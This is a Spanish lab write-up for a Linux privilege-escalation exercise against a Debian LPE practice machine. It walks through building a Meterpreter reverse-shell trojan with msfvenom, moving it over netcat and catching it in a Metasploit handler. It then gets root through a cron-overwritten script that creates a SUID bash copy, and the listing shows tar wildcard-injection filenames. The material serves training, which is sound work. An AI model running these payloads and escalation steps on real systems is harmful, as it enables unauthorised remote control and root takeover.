EJERCICIOS ELEVACIÓN DE PRIVILEGIOS EN LINUX II

Prerrequisitos

- Kali Linux
- Debian LPE

Ejercicio - Msfvenom, Netcat y Metasploit

- Crear un troyano y transferirlo mediante netcat al escritorio del usuario user en el sistema Debian LPE.
- Utiliza un exploit multi/handler para obtener un meterpreter reverso.
- Utilizar una de las técnicas vistas en clase para elevar privilegios.

Creamos el archivo .elf

```
┌──(root㉿kali)-[~]
└─# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.2.9 LPORT=6666 -f elf -o troyano.elf
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 123 bytes
Final size of elf file: 207 bytes
Saved as: troyano.elf
```

Desde Kali copiamos el siguiente comando de nc y comprobamos que está el archivo

```
user@debian:~$ nc 10.0.2.9 4444 > troyano.elf
^C
user@debian:~$ ls
--checkpoint=1                    njlKtUHplnjiSEQXLbBaQs  troyano.elf
--checkpoint-action=exec=sh runme.sh  runme.sh
myvpn.ovpn                        tools
```

A continuación, damos permisos al archivo

```
user@debian:~$ chmod +x troyano.elf
user@debian:~$ ls
--checkpoint=1                    njlKtUHplnjiSEQXLbBaQs  troyano.elf
--checkpoint-action=exec=sh runme.sh  runme.sh
myvpn.ovpn                        tools
```

Nos vamos a la Kali y abrimos el multi/handler

```
┌──(root㉿kali)-[~]
└─# service postgresql start

┌──(root㉿kali)-[~]
└─# msfconsole  -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
```

Establecemos el payload del troyano, el LHOST y lo ponemos a correr

```
msf6 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload ⇒ linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set lhost 10.0.2.9
lhost ⇒ 10.0.2.9
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.2.9:4444
```

Nos damos cuenta de que falta por modificar el LPORT

```
msf6 exploit(multi/handler) > set lport 6666
lport ⇒ 6666
```

Y ahora sí que ejecutamos el archivo en debian

```
user@debian:~$ ./troyano.elf
```

Una vez hecho esto estamos dentro

```
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.0.2.9:6666
[*] Sending stage (1017704 bytes) to 10.0.2.38
[*] Meterpreter session 1 opened (10.0.2.9:6666 → 10.0.2.38:49427) at 2023-11-15 18:14:43 +0100

meterpreter >
```

Confirmamos quienes somos

```
meterpreter > getuid
Server username: user
meterpreter >
```

Nos disponemos a elevar privilegios, empezando con crear una Shell y aplicando el primer comando

```
meterpreter > shell
Process 12001 created.
Channel 1 created.
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
```

Después de esto damos permiso

```
chmod +x overwrite.sh
ls -l
total 32
-rw-r--r-- 1 user user     0 Nov 14 19:17 --checkpoint-action=exec=sh runme.sh
-rw-r--r-- 1 user user     0 Nov 14 19:17 --checkpoint=1
-rw-r--r-- 1 user user   212 May 15  2017 myvpn.ovpn
-rw-r--r-- 1 root root 11221 Nov 14 17:11 njlKtUHplnjiSEOXLbBaQs
-rwxr-xr-x 1 user user    43 Nov 15 00:33 overwrite.sh
-rwxr-xr-x 1 user user    43 Nov 14 19:13 runme.sh
drwxr-xr-x 8 user user  4096 May 15  2017 tools
-rwxr-xr-x 1 user user   207 Nov 15 00:12 troyano.elf
```

Esperamos cerca de un minuto y nos movemos a la carpeta temporal y comprobamos que esté el archivo

```
cd /tmp
ls
backup.tar.gz
bash
nota
payload
useless
```

Después de esto ejecutamos el archivo y finalmente obtenemos root

```
./bash -p
whoami
root
```